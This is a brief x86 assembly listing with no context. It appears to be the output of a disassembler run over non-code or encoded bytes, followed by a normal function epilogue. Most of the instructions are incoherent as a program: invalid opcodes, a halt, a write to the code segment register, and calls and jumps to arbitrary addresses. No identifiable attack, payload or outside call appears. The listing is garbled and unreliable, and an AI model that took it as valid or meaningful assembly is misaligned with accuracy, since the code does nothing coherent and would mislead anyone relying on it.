cmpsb byte [esi], byte es:[edi]
hlt
xchg edx, eax
mov byte [esi - 0x28], al
stc
invalid
inc ebp
mov cs, esp
call 0x74c1500a
push eax
mov dword [0xc48148], eax
sbb eax, 0xec5d2433
mov esp, 0x92f3270f
sub bl, ah
scasb al, byte es:[edi]
rcr byte [esi + 0x352e3fae], cl
popal
push ecx
cwde
cmpsb byte [esi], byte es:[edi]
fdivp st(5)
cmp byte [edx + 0xa], ah
invalid
nop
jmp 0x687ec5ec
nop
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret